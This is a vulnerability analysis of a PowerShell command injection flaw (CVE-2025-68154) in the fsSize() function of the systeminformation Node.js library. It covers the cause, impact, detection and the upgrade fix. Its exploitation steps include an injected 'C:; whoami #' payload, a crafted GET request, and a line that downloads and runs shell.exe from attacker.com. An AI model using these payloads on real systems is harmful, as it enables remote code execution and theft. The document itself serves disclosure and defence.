CVE-2025-68154: 
JavaScript vulnerability analysis and mitigation

CVE-2025-68154 is an OS command injection vulnerability in the fsSize() function of the systeminformation Node.js library, affecting all versions prior to 5.27.14. The optional drive parameter is directly concatenated into a PowerShell command without sanitization on Windows systems, enabling arbitrary command execution when user-controlled input reaches this function. Disclosed on December 16, 2025, it carries a CVSS v3.1 base score of 8.1 (High) (GitHub Advisory). The vulnerability is Windows-specific and only exploitable in applications that pass user-controlled input to fsSize() (GitHub Advisory).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), located in lib/filesystem.js at line 197. The vulnerable code constructs a PowerShell command by directly concatenating the drive parameter: `Get-WmiObject Win32_logicaldisk | select ... ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`. Unlike other functions in the codebase (e.g., services(), networkStats(), dockerContainerStats()), fsSize() omits the util.sanitizeShellString() call that strips dangerous characters such as ;, &, |, $, `, and #. An attacker can inject a semicolon to terminate the original command and append arbitrary PowerShell commands, with a trailing # to comment out the remainder of the original command string (GitHub Advisory, Patch Commit).

Successful exploitation allows remote code execution with the privileges of the Node.js process on Windows systems, enabling an attacker to execute arbitrary system commands, read and exfiltrate sensitive files, download and execute malicious payloads, and potentially escalate privileges if the Node.js process runs with elevated rights. The vulnerability also enables lateral movement within the internal network and could facilitate ransomware deployment. Confidentiality, integrity, and availability are all rated High impact; however, actual risk is conditional on the application passing user-controlled input to fsSize() (GitHub Advisory).

A conceptual PoC is publicly available in the GitHub security advisory, demonstrating command construction with malicious payloads, but it does not constitute a fully weaponized exploit and no active in-the-wild exploitation has been observed (GitHub Advisory). The EPSS score is approximately 0.048% (0.00116 per Feedly), placing it in the 15th percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. Exploitation requires the specific precondition that an application passes user-controlled input to fsSize(), which raises the effective attack complexity (GitHub Advisory).

1. Reconnaissance: Identify web applications or APIs built on Node.js that use the systeminformation library (versions < 5.27.14) on Windows and expose an endpoint that accepts a drive parameter (e.g., a disk monitoring dashboard or API endpoint like /api/disk?drive=).
2. Craft malicious payload: Construct a drive parameter value that injects a PowerShell command using a semicolon as a command separator and a # to comment out the trailing portion of the original command. Example payload: C:; whoami # (URL-encoded: C:;%20whoami%20%23).
3. Send malicious request: Submit the crafted request to the vulnerable endpoint: GET /api/disk?drive=C:;%20whoami%20%23.
4. Command execution: The application passes the unsanitized drive value to si.fsSize(), which constructs the PowerShell command: Get-WmiObject Win32_logicaldisk | select ... | where -property Caption -eq C:; whoami # | fl. PowerShell executes both the original WMI query and the injected whoami command.
5. Escalate impact: Replace whoami with more impactful payloads such as Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe; C:\temp\shell.exe to download and execute a remote payload, establish persistence, or exfiltrate data (GitHub Advisory).

• Network: Unexpected outbound HTTP/HTTPS connections from the Node.js process to external IPs or domains (e.g., attacker-controlled servers for payload download or data exfiltration); unusual DNS queries originating from the Windows host running the Node.js application.
• Logs: Web server or application access logs showing requests to disk-query endpoints with URL-encoded special characters in the drive parameter (e.g., %3B, %23, %20 in drive values); PowerShell event logs (Event ID 4104 - Script Block Logging) recording unexpected commands such as whoami, Invoke-WebRequest, Get-Process, or Out-File.
• File System: Unexpected files written to directories like C:\temp\ or %TEMP% by the Node.js process; new executables or scripts created by the Node.js service account.
• Process: Unusual child processes spawned by the Node.js process (e.g., powershell.exe executing commands beyond normal systeminformation queries); powershell.exe invocations with encoded or obfuscated command strings (GitHub Advisory).

Upgrade the systeminformation npm package to version 5.27.14 or later, which applies util.sanitizeShellString(drive, true) to the drive parameter before concatenation into the PowerShell command (Patch Commit, GitHub Advisory). As a defense-in-depth measure, audit all application code that calls fsSize() and ensure no user-controlled input is passed to this function without prior validation. Additionally, restrict PowerShell execution permissions on Windows hosts running Node.js applications, enable PowerShell Script Block Logging for detection, and consider network segmentation to limit the blast radius of any potential RCE.

The vulnerability received coverage from multiple security news outlets including GBHackers, CyberSecurityNews, SecurityOnline, and IT Security News, with articles highlighting the risk to the library's estimated 16 million monthly npm users (SecurityOnline, GBHackers). The Hacker News included it in their weekly recap of notable vulnerabilities (The Hacker News). CISA referenced the vulnerability in their weekly vulnerability bulletin for the week of December 15, 2025. Some community coverage overstated the severity (one blog incorrectly labeled it CVSS 10.0), though the official score is 8.1 High.